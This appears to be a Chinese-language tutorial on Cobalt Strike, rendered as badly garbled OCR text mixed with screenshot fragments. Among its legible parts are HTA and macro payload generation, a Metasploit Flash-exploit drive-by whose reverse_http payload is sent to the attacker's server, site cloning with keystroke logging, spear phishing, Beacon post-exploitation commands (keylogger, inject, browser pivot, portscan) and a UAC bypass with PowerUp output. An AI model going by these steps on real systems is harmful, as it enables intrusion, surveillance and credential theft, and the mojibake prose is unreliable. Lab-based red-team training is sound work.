BEAPENEREAEEERERENE, FIMAPARLNZE T 2RAN; EXTTIeBinfE
R AWRARRER, FAERRICARIZBNRIINEER T, REENBFEMRGE+oA%E, tBfE

SERTE.

HBATREITEIFEIRAFTERGLN, EMERPANTRER—1F, CS MEINHRH T /LT
PRI AR, I :

AP IE S
IR B! User-Driven Attacks Packages INBEFTFF{UE: Attacks --> Packages
1. HTML N8

HTML RZF8 HTML Application “ER¥ (executable/VBA/powershell) iX 3 f[RIBAEH
VBScript SEHHY evil.hta X5,

2. Microsoft Office %214

Microsoft Office ZZ X4 Microsoft Office Document Macros B] A REERIIN office X1,
EELHNKEFE.

3. Payload 4 Fi 22
Payload 4 f%8% Payload Generator BJ A4 EFMIEShRAKI Payload, ETFHITRR.

4. Windows a[H1T3 4



Windows BIHfTX{F Windows Executable S=AERK— Windows BIHI{TX45; DLL X4, EX
I\ x86, ik x64 RRNEE x64 payload stage 4T artifactX64.exe(17kb)
artifactX64.dll(17kb)

5. Windows AJ#11TX 1 (Stageless)

Windows RAIHI{TX {4 (Stageless) Windows Executable (Stageless) =AM —1NToHIZH
Windows BI#{TX48L DLL X4, Eff Stageless RRIEEE payload AR £IHEE”
WARIREB BN & ALY AT HUAT X beconX64.exe(313kb) beconX64.dII(313kb)
becon.ps1(351kb)

FFIERIRY Web 33T

BAFIRE) Web 23{J I User-Driven Web Drive-by Attacks INBEF¥THIE: Attacks --> Web

Drive-by
1. java &£ applet ¥

java & applet I Java Signed Applet Attack RF&I—T Web lREZLAREBZER Java
Applet RIBTTIME, NRB[BEEKMAFRT applet iz1TIXIR, WRAFRRNZLHES, EB
HZRE R IAEEE,

2. Java 898 Applet K&

Java EEE Applet i Java Smart Applet Attack =B EIHN Java hRAHFIFHEMAYRES T
ZE/FE, {8 CS BAMKKENXIIESR, FEIENIMERTN.

3. HIAR Web 321

BNt AL \A/A~lx <A+  _ - & I wml N1 oM dm~A TBAH A BIPAEZ N TTEETITMNY R AN



Aaga 1o VWO (1D DRl LpLlttu nel voLively /JJ PAaylivalu Jao iz WUM JIIXZI VPADC J | FATHIAVTD , ZRIPA

F MSF B9 Script Web Delivery
4. FEEXMH

JEE N Host File J8IY Attacks --> Web Drive-by --> Host File H{THCE, XEEH L@
X INEENE X E1EE CS BRSSim L, MMEHITXHIEE.

WNREMIFR EEER CS HE%WEJ:E"]Y#F, BIBAZl Attacks --> Web Drive-by --> Manage AT
738

MRBEFR W) 7T XL, AIUE view --> Web Log THITEE,

4, FRIE

HTML WA E

BRI Attacks --> Packages --> HTML Application BIiE— HTML W, WRSHBIZELIT
#iE, AEEEIE— T,

W;} Cobalt Strike

s Repai o

Packages | HTML Application s Y- . .
address ~ | Web Drive-by * | MS Office Macro name - |
TML Aoblication Attac Create a listener.
o2 Spear Phish Pay | 4 A i ) 2 a X 4
2 ' Win This package generates an HTML application that = —
runs a payload 2 - Name html application test }
Win )
Listener: | | Payload: [Beacon HTTP -
Melhod:| [Powersheil - FLTETE T
HTTP Hosts: 10 2.8
8 Generate m
| B crocse s pe -
name payload host port
| HTTP Host (Stager): {10 28 ‘ -
. | 1




Frunic. | o

HTTP Port (C2)  [80

HTTP Port (Bind):

Choose

Help |

{
HTTP Host Header. |
(

6 (Lo

HTTP Proxy:

HTML MABXHEARFE, 32 Attacks --> Web Drive-by --> Host File , JEIFENIZ 4 BRI
#, &E/R Launch, &l CS BliEAVEEEE, TEMREN LITHILRE.

Aftacks

Packages
external eb e-b

Spear Phish

il e BRE L B G

B HostFile @ O

Manage
Clone Site 1

3 s
scripted Web Delivery (S)
Signed Applet Attack
Smart Applet Attack

System Profiler

Host a file through Cobalt Strike's web server 2

ps

File: toplevil hia

Local URI: [/evil hta

Local Host: |10¢ 28 ]

Local Port: (80 ]

Mime Type: [aulomalic

SSL "] Enable SSL

3 Launch

Help

Fa——

Event Log X

SEBMEN LRTESETH, |[REIET.




F{:\

—

Internet Explorer AT ERNEEEBMH - Yindows Internet Explorer

|g, http: /i1

.-\_/. 'k_/.'

) Firiss.

Gfevil. hta

o Wik |5 @) IRl - ) FIEHRiE -

)

(S

9

Internet Explorer B AIF+EECEEH

Internet Explorer im

e st T SR A RN e e L Y i
R e ﬁéﬁﬂﬁ%ﬁﬁaﬁmxﬁzz:;f%“ﬁiﬁﬂiﬂﬂ%%@% *”% 1%% B
x|
tEABE AT R AT D ?
2R evil hta
2R HIML FARIERE, 7. S51KB
*E 100 8
e || ewe |[TEETT

O PR SRR, R
Repe

Lz EEBRLEETE, CS ZERFiE EFM I AERIELERNSIET .



[ J Cobalt Strike

Cobalt Strike View Aftacks Reporting Help

RO B¢ B8EPU EwhBEH Lo B H
external internal = listener user computer note
2 . 192.168.175.144 htmi application test administrator * WIN-P2BAK33U87T1

Eventlog X | Processes 192168 175144@2140 X | Beacon 192.168.175.144@2140 X

beacon? sleep 5
[*] Tasked beacon to sleep for 5s
[+] host called home, sent: 28 bytes

beacon? shell ipconfig
[*] Tasked beacon to rumn: ipconfig
[+] h called home, sent: 39 bytes

[+] received output

Windows IP GAET

EARPLERLES Ak -

FEWRGER) oNs FRER - . - . . . :
gt teve WbE. . . . . . L . : feB0::alac:3035:chdf:4872%11
............ : 192.168.175. 144
......... : 255. 255. 255.0
......... : 192.168.175.2

Fl23 isatap. {4097FC11-0E06—43BE—BE9C—6GOE3C5TT3A0R} -

MRS ... ... : BETETH
FElEER ons RER . . . . . . . :



MSF 5 CS & SFIRA
ARASHER MSF 3 EARETRATIR, BEXNERARIER Beacon HiE, tRFIM,
. BSTE MSF EIERHER

2. & MSF L& & Payload ¥ windows/meterpreter/reverse_http &
windows/meterpreter/reverse_https , XAMEE CS B Beacon 5 MSF B M Ex i E1E
FE,

3. Z/G7E MSF Hi% & Payload A LHOST. LPORT J#J CS & Beacon M2 IP KimOl,

4. %Flﬁﬁ DisablePayloadHandler j\j True, Jtt)i'ﬁlﬁ'%lt MSF JE?L‘.EEWE_/I\ handler 3
BREZIREY payload #Fi&, UM ESIF MSF RE(1ELEIL T BTz, FAOBFMERTEST .,

5. BIZE PrependMigrate A True, LtEIEINIE MSF BIE shellcode FES— M iHfEHIBIT
payload stager, WREF AN FERZFERIEAFXE, XS Beacon R1EFE.

6. WREIBIT exploit -j , —j =I81EN job FiRIE1T, BIER&IE1T.
B®R1E
7 CS FE— HTTP Beacon, SIEITEREERA,

. £ MSF FUARIERIR, RIFHIZXEREIFR adobe_flash_hacking_team_uaf RIR, FIT
ARRIMERX TMEREZA KR AKINT .

use exploit/multi/browser/adobe_flash_hacking_team_uaf

2. EBEEME payload, XEi%iF revese_http payload



set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80

3. :ZE%, BCE DisablePayloadHandler . PrependMigrate A True

set DisablePayloadHandler True
set PrependMigrate True

4, &/a, ARG,

msf5 > use exploit/multi/browser/adobe flash hacking team uaf

msf5 exploit( ) > set payload windows/meterpreter/reverse http
payload => windows/meterpreter/reverse http

msf5 exploit( ) > set LHOST 192.168.175.145

LHOST => 192.168.175.145

msf5 exploit( ) > set LPORT 8@

LPORT => 80

msf5 exploit( set DisablePayloadHandler True
DisablePayloadHandler => true

msf5 exploit( set PrependMigrate True
PrependMigrate => True
msf5 exploit( exploit -j

Exploit running as background job 0.

Using URL: http://0.0.0.0:8080/CnheISAxx
Local IP: http://192.168.175.145:8080/CneISAxx
Server started.

msf5 exploit(

{hik—5ebE b

FEEBRRERERERZH, BITEECSHTHE—T, XEANUEFNRFRIFECS, RANRS
IR, CS LB =BEMISHIINEE, BEBRIFAIFEBIEIRA],

B, K3ZF Attacks --> Web Drive-by --> Clone Site I, ¥ REMILAITNEE, ZBENT



FEMuLAY URL, £ Attack 5 AN MSF A4k AY URL,

HMA Log keystrokes on cloned site ISR ZEN ] DEREXE MR EICR, IERERE
Web Log HEEBEE,

Cobalt Strike View Aftacks Reporting Help
B3| B = rPackages » l| 45 w B -1 ¢ o | B The site cloner copies a website and fixes the code so =
external WELEBIVEREE Manage images Iqaq. Yolu may alclid elxplloits to cloned sites or
SpearPhish | clone site 1 Clone URL:|[https:ﬁwww.baidu.com [ Z ]
[HostFi :
_O? e . Local URL: ||,n’ba|du | _-5 ]
Scripted Web Delivery (S)
Signed Applet Attack Local Host: [192.168.175.145 |
Smart Applet Attack Local Port: (80 |
Sl Attack: 4|[http:,n’,|’192.168.l?5.145:8080[Cne|SA‘]l[ -
["]Log keystrokes on cloned site
= 5 Clone ] Help ] B
Event Log X | Listeners X | Weblog X

ZhE, WRasstIAxRinitut, MREBREFERE, MAIRANAT, [T CS At
REM L2,

5. BXIAMBNE



A CS #THEFEMNTIEK:

1. BIE—TBinER

2. HE—TEREARIREE £/ Z I IFRIIEIR

3. WEE—RMRAEMA AR AR S5 25

4. RiEHH

BinEER

BinERmMES T — TR txt X, BI8ITEa—1 B85,

E—ATHR T SRt AT BMERRE S — TR T, WRREMH T BFR, WABIT Cobalt Strike
BEXBTMENE,

X B{EF— LA LB R IR T 2 RIBRFE i E 9 Rl

astrqgb79501@chacuo.net testl
gswtdm26180@chacuo.net test?
ypmgin95416@chacuo.net test3

BUERBRERN txt XAXH, #MEIZTFTEHCHBERNEER,
EL
ERERNFLETRINEENA, fIFNaRIRBRES,

BRAMBEEE—HHRLEC, HEEEMBCRERRE—TEEN., BT SERHHEHZ
&, EEMHRIGES, —RREMBHENEREREREIXTINGE, &EFHMAENRIBERRENX
F, — TERRMAIETTT .



IR
BT BinilER, AeikE i ERSES, ZEMAIMNREEET

£ CS EF iR, M Attacks --> Spear Phish BIRJ¥JHMZHIBER, RN EBR. &R,
Pt BRFEARS . BEIERFE, H Bounce To NIREIEBAZUHbLE, STEEME EMRLAR
SEIERMAE —3, [NRRE.,

&= Dackages N Re To To_Name

L Drwrle-by * | linternal 4 5strqbh79501@chacuo.net testl ieinnfel
Spear Phish | gswtdm26180@chacuo.net test2

ypmgings4le@chacuo.net test3

Targets:  |/root/Desktop/targets bt | =

Template: [froothesktopftempIate.bct ] 3 ]I

Attachment: | |

Sites X | Listeners X | Sitg Mail Server: ld — : _ heom

Embed URL: lhttp:fleZ.168.1?5.14?:SOfdownloadffile.ext?id=%TOKE [

Bounce To: [E a J.com
et

I Preview H Send H Help ]

FREERRINERE, AIARE Preview BE., IRBETHRATE, MAJMURE send &%
T



SEmREINEEMY, AERETTEEMFFPI RS, WRIBWIZEERNIXEI0), CS FEE
BLET,

BABEEhl:  astrgb79501 @ chacuo.net |~ “I
ZEE1EE#E  EakES: | astrgb79501@chacuonet FoE=" T ==
ak
EE Bl B
[o= ] CS TiTaRit
1
BHEA [ m> i
SAdPEiEhE:  ypmgin9s416 @ chacuo.net |v ;5_1
BHEA test3 <ypmgin95416@chacuo.net>
@z | cown | o cum we amosis maese e ————
e 18R m%: ypmgin95416@chacuo.net . &« C @ © & 24mail.chacuo.net
BRI
o A WASBEEN:  gswidm26180 @ chacuo.net
= J—— SREE Lo Es g |r5m$ﬁ%r gswidm26180@chacuo.nel
=
ZEA c _ _ m> _ .
e o5 =
BEA test3<ypmgin95416@chacuo.net> £$ ~ I I = €S AR
ESmEE
1] 2020-06-18 17:26:54 FEEYLY Ii; B o . . N >
. EPEHRS =N
i s = BEEA test3<ypmgin95416@chacuo.net>
HE 2020-06-18 17:26:54

RiiE! ! SRR
FARNY ® * *

EERE SE SRR ESERANEE I=E AN
EERES.

L1l




T LR XM AE, FRUASEIRPAIHERER B CRIAAR CS lRSasthit, MREE
SRR, NBEATEER AN 1T,

ERIMMEFNNENHFBAZEZERAFS, BXMERRTISEEMEHEEERARMALES)L
RUBR— 1R —4F, SEMRALEREELX, ARSECHNZERIRERREEHR.

1. Beacon &1t

Beacon Z4I&

£— Beacon 21E AT interact (XEH) BIAJFJFF Beacon Z#Hla, WRENZIPMEIE
HITIEH, BRE\IERZPDERIE, HITHEXINEERN,

[ 7 Cobalt Strike

Cobalf Strike View Aftacks Reporting Help
DE QO E=¢ B8 LPU D S B §

external internal ~ | listener user computer | note process pid arch last

Gis 192168.1.. 1921681 hitp beacon administra... WIN-P2BA. .. 1 .. 1776
Interact
Access ¢+
Explore »

=~ == | Pivoting »

EventLog X Beacon 192 168.175.144@1776 X Spawn

My _Kali |beacon> pwd Session

[*] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[*] Current directory is C:\

beacon?> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, semt: 37 bytes

[+] received output

teamssiz\administrator



beacon?> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes

[+] received output

Tindows IP BT

DAAPERLES itk

WIN-P26AK330B71] administrator */1776 (:64)

7£ Beacon NIz ASHmE 2B, B—TIKESE, RESELNEEDHIZ: BiR
NetBIOS &%k, FHF®&. &1& PID LA Beacon Hiﬂ_/}\l_ %%l CS HIPARRS 23AVAT (8],

Beacon iZHl 82 EER CS NdiER, REFEHZIRIINE, [ Beacon KBTS, #BA]
MEXEEE, MEARKIETHEE, 7 Beacon EHIAREEEEE, HETERERAKRE
B,

Beacon &

Access: B8 T —LEXRIEAVERIE LR INAVIZIN
Explore: B12 T{ER&HNS BIR3Z B RIIEIN
Pivoting: 818 7T —LEigBERIERERIEIN
Session: B T X X7l Beacon R1EEIEANIEIN

Beacon @



help: &%& Beacon spIFHBNER . 1£H help + FEER NG I AIER XM INFEBIE

10N o

clear: j5F% Beacon a3 <BA%I, Beacon @— 1% HH) Payload, BIANNGLHASIZEIN

17, T2 Beacon EZZIFIARSZSSBINB—HRITHS, BELtHFEERINT G AT
{#F clear #8%,

sleep: £XZ Beacon HIRARETIE], A sleep 30 RRIREE 30 #; HIA sleep 60 50 KRR,

FEALEERR 30 #ZE 60 ), Hrh 30 # = 60 x 50%; WRHAN sleep 0 MRTHFAREELR,
EEMANGLALSWILEINIT, SHWA—LE<, LB desktop BF, Beacon RB®IFAANIR
B8,

shell: BIZEFHA cmd.exe TS, LEAETT ipconfig , MFBESMMA shell ipconfig

run: AMEM cmd.exe TS . ZBLBE run + BLHILINEIT, HBLZRHRITERE

execute: HITanS, EREELER,
cd: PRNEITERRE.
pwd: BESHBIFIEBER.

powershell: ZFHHY PowerShell H11Ta5< . ELUIRE7E PowerShell FiE1T
ipconfig , ,'ﬁ[,%gﬁﬁu)\ powershell ipconfig

powerpick: AMEA powershell.exe 1T powershell B3<, XTI TH Lee
Christensen FF AHI3EIEE PowerShell 3R, powershell 1 powerpick &< S{ER HFISHE
( token) .

psinject: JFIFIEER PowerShell JEAZI—MSERFHEZEFHMIUEGITHL,



powershell-import: S A\ PowerShell fiiZ<Zl] Beacon ., BH#E151T powershell-import +
A EEZENE], BRXTHASANGLS—IRIXEERE—1 PowerShell filZd, BSAN—T5H
AR, E—THAREES T, B BBESA—TEXHRIFE Beacon F5 ARIH
PN

powershell get-help: ¥XEX PowerShell S HItEXZEENEE ., LEANFBFKEY PowerShell T

get—process ﬁi/v‘\ ’\]%’-}ﬂﬂ, TMEER A powershell get-help get-process
execute—assembly: JE—PAAY NET BJHITXHEN Beacon NGB EESFKIET.

setenv: IRE—THIET =,
A « A Y
REEBBEXRTL

Beacon #IRITHRY BNMEREME CS HITEdEER1TE,

spawn © HITRIENEIE, WATEEATRIEIRE spawn BRIHATRIERNLEE. FIABERT,
spann IR RTE rundli32.exe FIRE—TRIE. N T BHFNRERYE, TUKIEESENRER
(40 Internet Explorer) FH{EM spawnto w32 RIRBEIREFFRIENES{ER Beacon FRIME
2R,

fn

spawnto - 146

ERIEAAZEN (x86 =2 x64) AT IRESIENFEFNTRKZT, B
SRIE1E enter 23871 Beacon MEZHEINTH.

AN

2E
5@)\ spawnto np/v\

inject : BN inject + #iE id + WFRE FIE—PRIEEIA—DISEHIZD, (EH ps L
FIREN— T HBI RS LROHEFZFIER, (A inject [pid] x64 FIF— 64 {i Beacon JFANEI—
™ 64 iHFER,



spawn F inject AR ERIE— payload stage JENFARFF, WE payload stage 2
HTTP. HTTPS & DNS Beacon # HETEEZER, BAREARE—TRI1E. R payload
stage 2—MIER TCP 8 SMB i Beacon, XLEi<S A B ahitheid EIERFHinH) X L
payload,

dllinject : dllinject + [pid] RIF—TREIME DLL JFAR—P#HZAR,

shinject : {£F3 shinject [pid] [Ze#] [/%2Z/.../file.bin] AP EM—TAMIHERTEN
shellcode E|—1Bir LRO#HFZER,

532

shspawn : {E shspawn [Ze#] [/E2/.../file.bin] Y RIIRE—EHIE OXNEFHESR
spawn to SR IBEMRIHITXE) , SAFIEIEER shellcode X4 ( file.bin ) JENZEX P

L

dllload @ 1 dllload [pid] [c:\E&RZ\...\file.d11] KER—PHFEFMEFEEZ LA DLL X
%,

RSB ERDR
1. BHEIREEEZEEM CS HPARRSS 23, HiZAWE span EFREEIEEITRENA,
2. BHAIRIELZEE MSF A1, XEFRM—TET.

B, ® MSF #, IBHHETFE— payload

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156

msf5 exploit(multi/handler) > set lport 443

msf5 exploit(multi/handler) > exploit -j



Ma/E, £ Co HRTE—"1"7Mal Foreign mbTay, XREIXENmIT IF I ImlM Mor HHEY—2XE!
A, BE/EE CS FHA spawn IEIZNIFEAVIMRERITES, MSF REIRIRERIE,

3. XRS5

NRARTBERGEXHNUBEELGTRIEL, 1&£F Explore --> File Browser BIRJ$TH., EXERIA
WHBISTE FRXXEHFTNE. EE. T, BRFRE,

TSRS, SN beacon iR EH sleep EiRE, CS £REMZEMMNLKIE,

FBEXMRRTZMMRNAB A TSR TSR EFR; RN BEIN X RRTIZE RN
BN AN T AZEF .

X

download @ TEIEXRMINX, Beacon & FTHENESEXRRENE— 1 XEHEE /NG
R, X PRI AK/NEUARTF Beacon HEIRIEIEEE, HTTP 1 HTTPS BESHIEY 512kb AY%K
ER,

downloads : B&H HHI Beacon IEEHITHINHETHIIR,

cancel : XA E—TXHZREVHIEEHITHI— N TEMAES . WAJUFE cancel < H1{E
AERAR—RBUE ST XM T HES.

TESHEE THE CS HIRARRSS2EH, 7 View --> Download FPRIEEITHIHRIICE, &EH
NXHRER Sync Files BIRIGXXH T EIA M,

X EfE



upload @ EE—TXHRIBERENL.

timestomp @ JF—XEFRUERE 4 TH B4 CIEI B EIES B — 1 XHELE, S EE—
DR, BRNSERZ ISR B BSREER AN B —X SR FHEM S EF, FH
timestomp s <L Bl ASER L T1E .

4. AFIREDm I E

Beacon iIZ1TESBH AR EL jobs KIZ1THY, LEWIHEEICHE. PowerShell A, ix[Oi31#
% XUFREELE beacon check in ZEFEEETH.,

jobs : BEZHHI Beacon HHIES
jobkill : ANLfESS ID, MWIEEMFESFHITEL
REEE

screenshot : JSRENVREEE, {FMH screenshot pid FBERELEFTANEI— x86 #HOHTET,
{EF screenshot pid x64 FENEI— x64 ﬁ*%q:', explorer.exe =T HRIERER .,

{EF3 screenshot [pid] [x861x64] [time] FIBXEFE LEIZITIEENTE, HES—IX Beacon
EIZDFI AR B HRNIHMRIRSE —KEEEE, XEBEERFREN—MEELE. EEEEEN
BRMER, B view --> Screenshots XTI MFTE Beacon S1EHFIRENAVERE .

REICHK

keylogger : (EEIICFE2S, {FH keylogger pid FIEAN— x86 F2F., {FF keylogger pid x64
SEEN— x64 2%, explorer.exe E—MNFNIRIETER,

{ERRIERY keylogger AL KIFRBRICEKFBEIA—TNRNTER, BRICRBSEMMBIEANR



[

EFRNREICRAIFERIRSEL Beacon, HEEIEFALFEEHCRIE T X TREICRE?2S
15, ZEEEREICENER, AJMUE view --> Keystrokes FHITEE,

Hith

RT ERMERAGSHNARNHITRESENHREICE, IS Explore --> Process List ik
BEINNHRE, BEESTREEEERICRIINEEIRH,

MERLE, BIEFEAIITZRA AU, REEN explorer.exe SLERBBESHA ., B
BHE, ZTRERLERMUSEEEIR, BTRESERNMERA—THEICR:S.

5. MRAFELR

NI eRE A EIEEELRRERIINB T, FABMGHNEREZMILHITRIER, EE2ER
SIFEMEEER IE XRRNEIR T, X TUEAHMHIBAFRESRER IE XNKkes, WabhE
TREHENRAM, UTES, BIREHEFIAEZIBIREEFER IE XTI EME S a1Mih
89 admin kP

EventLog X | Listeners X | Beacon 192.168.175.144@3136 X| Processes 192.168.175.144@3136 Xl Screenshots X

B[S ¥cicome :: Damn Valnerable ¥eb Application
v G_'--"Ie-”" /1921881
TrWIRR |5 g ®OFES - g FREAS -

@ ¥elcons (@ Denn Vulnersble Web Applicatis. .. | |

1 B Browser Pivot @ O x

user computer pid when

NR/27 123306
Interact

administrator *  WIN-P26AK33. . 3136

Access ¢

Explore + | Browser Pivot

Pivoting + | Desktop (VNC) PID PPID Arch Name User
Spaun File Browser 2088 2964 X64 explorer.exe TEAMSSIX\administrator 2
3660 2958 %86 iexplore exe TEAMSSIX\administrator

Session *+

Net View
0 86  iexploreexe

Proxy Server Ptn: [20336 4

Port Scan

Process List

Screenshot




You have logged in as 'admin’

Username: admin
Security Level: impossible
PHPIDS: disabled

wEERIEAER E NRSNBinE, ATZElE, & explore --> Browser Pivot , ME/Eik
EEEANARE, CS ZAEEINAAMNEIANBARARER—TNY, REFIROAGE, [REET
Bher,

LERS, NSRS PEENE, CEEERN http K3, IP 9y CS EIRARRSS S IP, ImNRIIRERY
I [

RIBECEM G, TN REPIIFBMARIERAITFRONL, BRREERAHE.

A LLI o m
6. ImOf3%H
portscan - ﬁ*ﬁ'ﬁﬁ‘ﬁlﬂ?ﬂ}ﬁ, 1@}5@%%&% portscan [targets] [ports] [discovery method] .

Bin&AI discovery method B=MFE, D3IZE: arp. icmp. none , arp FHIA{ER ARP 1EXK
REM—PENRESFE, icmp FAEKIE—T ICMP echo EXRENME— T BEITEEFE.
none 1IN w1318 T BRIRAAIB I ENEZFEN.

s [013H# S 1E Beacon FIFIARSZ 2B BHHNX NI REFRRNEET. HSEBIMRSHNEGR, E
SIBER &71%E Beacon 1544, Cobalt Strike £4MEXMzs EHER AN TN EHFBIfE
m,
A Beacon &1&, £ Explore --> Port Scan FENRFTHIHEOENEF-EO, CS £BmhiE
b, #iARWEMELE w0, HRARNEFLIRG, FREAWEIR, BSRERE, &
target table TIEHIF A BEIFHEE R, AT R1E, 1 Services I EFIFMIITEE R,



address = name note

192.168.175.130

2~ 192.168.175.144 WIN-P26AK33U8T1
192.168.175.157

Jump D
administrator “@4420
= - Scan
Event Log X | Listene 75.144@4420 X | Services X |
address Host 5 | note
192.168.175.144 o ) =
192168172157 80
192168175130 80
192.168.175.144 80
192.168.175.144 88
192.168.175.144 135
192.166.175.130 135
192166175144 139
192.168.175.144 389
192.168.175.144 445 platform: 500 version: 6.1 name: WIN-P26...
192.168.175.144 464
192.166.175.144 503
192.168.175.144 636




1. BFPKF =

B Windows vista FFia, Windows Z%i513# 7K IEHINLE], Bl UAC User Account
Control A, UAC #l#I7E Win 7 13RI T5EE. UAC 5 UNIX 1Y sudo TEALHI+ 518
1, FRAPUEENRIE, SRAPEERITIIUREN, REERMTIIREERAINR.

LR REAP RO T=EFR:

D EEANR

it

B —ARA P AXER
5. ZRRHIFITNIR

{£A whoami /groups AL A IABEIHBIB P FRIENAMUKEIXIR, {£F net localgroup
administrators EJDXEE%EUE%IEE?HEE@%F%O

2. IRBPOURIE

SRLEREFTESEANR, MARMBPRAE—ARAPNRE, MEERTURET .
£ CS AT/ LMRIURIE:

bypassuac : FARMPRERZANREFAZTHSREEANR, ERT Win 7 R LR

4o

elevate : FBEERAFISPRIEAZARSRINR, EBTF 2018 & 11 BEHF ZBIAY Win 7 1 Win
10 R%%,

netecvetem - ﬂé’rmiﬂﬂ%i}&%ﬁ%*YKE#%#EZQFWK%_



~ - T T = § i ST mEalS AR TGS | e YW IS

runas : EREMAPNFEIEBRUAEMRF SMET -1, Ze<IAZREE THEE.

spawnas : {FREMAFPNEIERUEMBF BMIRE—TS1E, XTHIRE—DIGTE#H
F2HIE payload stage STANHBENIHTE,

Spawn As

B, ARFRENNESIE, &R Access --> Spawn As , BMIANBIRRARAFSWER, Hiig(s
BEE— ‘K7 ARAHMAF, RITsHXEIEEFEN SMB Bh2R, 2ERTETMEEEEINN
HWEAFLEZET,

0RO B¢ BELPLU e e B

| external internal « listener user computer note
B 192.168.175.130 oooo 192.168.175.130 hitp Administrator * WIN-75F8PRJMATP

1. 192.168.175.130 192.168.175.130 WIN-T5F8PRJMATP
Interact

LEEESE Dump Hashes
Explore +| Elevate B soavn ns & & -

Pivoting * | Golden Ticket user password realm note

Spawn Make Token
Session + | One-liner

Run Mimikatz

]

Spawn As

User  [administrator |
Password: r- ] I
Domain: I I

|

Listener:  [smb

Eventlog X | Listeners X | Beacon 192.168.175.130@9036 X

Bypass UAC

Bypass UAC B NTE, DHl=Z:

1 FIIFAE 1IAC BIEEEFEHY AN+ > (H S|



I~ A7 10 MEANS IR Z1IN DN AN TN IAAAT T 17T

2. {£H/ DLL ¥t TCHMAT

BESGfER shell whoami /groups BE LRI L& FHNAFRIFIEAER UAC FH

beacon? shell whoami fgroups
[*] Tasked beacon to run: whoami /fgroups
[+] ho=st called home, =ent: 57 bytes

[+] received output:

AR

HA 28 sID JEvi g

Everyone 2504 s-1-1-0 PEMSE, BHATEHA, BSR4

NT AUTHORITY\ZA:=fill PFOETP G ARk 5 B4 s-1-5-114 SHT e
BUILTIN\Administrators % s-1-5-32-544 DHTFIRHEANA
BUILTIN\Users AlE s-1-5-32-546 MEREH, BRATEHA, BHMA
NT AUTHORITY\INTERACTIVE 404 s-1-5-4 PEME, BHATHEIA, SHME
IERaER B4 s-1-2-1 PEREE, BRATEHA, BHMA
KT AUTHORITY\Authenticated Users 2514 s-1-5-11 PR, BRETEL, BAMAE
NT AUTHORITY\This Organization 244 s-1-5-15 PERE, BRATERA, SHMA
NT AUTHORITY\Z=til B4 s-1-5-113 BEMM, SRTEIA, SHMAE
LOCAL B s-1-2-0 PERE, BRATENA, BAMA
NT AUTHORITY\NTLE Authentication B s-1-5-64-10 WFEMEE, BATEHA, BHMHE
Mandatory Label\Medium Mandatory Level IR 5-1-16-8192 JEFEH, BHATEHA, SHMNAE




BiREEERTNESL, HeAFPAEEANIE, UAC F4hHd, RIEL—TRXFHNE,
LR AT BA{ERR bypassuac TR,

B, AEEIE, &R Access --> Elevate , XEiEIFE—1 SMB Beacon, Exploit % uac-

token-duplication , &xfg Launch El®],

internal = listener user computer note process

WIN-TSF8PRIMATP powershell.exe

Id| Dump Hashes

Explore +
p Elevate 1 B @ B @

Pivoling * | Golden Ticket name payload nost port
Attempt to execute a listener in an elevated context

Spawn Make Token htip windows/beacon_http/reverse_http 192 168 175165 80
Session + | One-liner windows/beacon_bind_pipe
Listener: [uac
Run Mimikatz 1 —

Spawn As Exploit: ||uac-token-duplication 5 - 1
NES

4 Choose Add Help

1% Beacon Check in [, HEIHAF UAC IENRHMSIEESLEET .

{----------

Dora Doxra *

WIN-T5FSPRIMATP @ 3176 WIN-T5FSPRIM4TP @ 2032




3. PowerUp

PowerUp FTIEYSEE T A RETFESS R AV TS, MIMABIIEN.

KA PowerUp HITIRNBEF LS A ps1 X1& powershell-import PowerUp.psl , BHIIT

powershell Invoke-AllChecks #p<, {FF PowerUp BIZASA] DUIRIRAVES BN RN AR AR5, M
ML B /Y,

Hrh powerUp.ps1 XHRIMIXETE:
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

PowerUp BI{EFR

MATUAT &L 1§ ps1 XHE LEFIBREN, APITHREBRNE

powershell-import PowerUp.psl
powershell invoke-allchecks

F MG Tz

beacon> powershell-import PowerUp.psl
[*] Tasked beacon to import: PowerUp.psl
[+] host called home, sent: 275084 bytes

beacon> powershell invoke-allchecks
N7 Ta<ked beacon +o riin invoke-all checlke


https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

[+] host called home, sent: 313 bytes

[+] received output:

[*] Running Invoke-AllChecks

[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...
[+] received output:

ServiceName . AelLookupSvc

Path : C:\Windows\system32\svchost.exe -k netsvcs
ModifiableFile : C:\Windows\system32
ModifiableFilePermissions : GenericAll

ModifiableFileIdentityReference : BUILTIN\Administrators

StartName : localSystem

AbuseFunction : Install-ServiceBinary -Name 'AelLookupSvc'
CanRestart : True

[*] Checking service permissions...
[+] received output:

ServiceName : AeLookupSvc

Path : C:\Windows\system32\svchost.exe -k netsvcs
StartName : localSystem

AbuseFunction : Invoke-ServiceAbuse -Name 'AelookupSvc'
CanRestart : True

[*] Checking %PATH% for potentially hijackable DLL locations...
[+] received output:

Permissions : GenericAll

ModifiablePath : C:\Windows\system32\WindowsPowerShell\v1.0\
IdentityReference : BUILTIN\Administrators

%PATH% : %SystemRoot%\system32\WindowsPowerShell\v1l.0\

AbuseFunction : Write-HijackD11l -D11Path 'C:\Windows\system32\WindowsPowerS

hell\vl.0\\wlbsctrl.dll"

[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...

[*] Checking for modifidable registry autoruns and configs...
[+] received output:
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware Use



r Process
Path : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
\VMware\VMware Tools\vmtoolsd.exe; IdentityReference=BUILTIN\A
dministrators}

[*] Checking for modifiable schtask files/configs...

[+] received output:

TaskName : GoogleUpdateTaskMachineCore

TaskFilePath : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files (
x86)\Google\Update\GoogleUpdate.exe; IdentityReference=BUILTIN\A
dministrators}

TaskTrigger : <Triggers xmlns="http://schemas.microsoft.com/windows/2004/02/mi
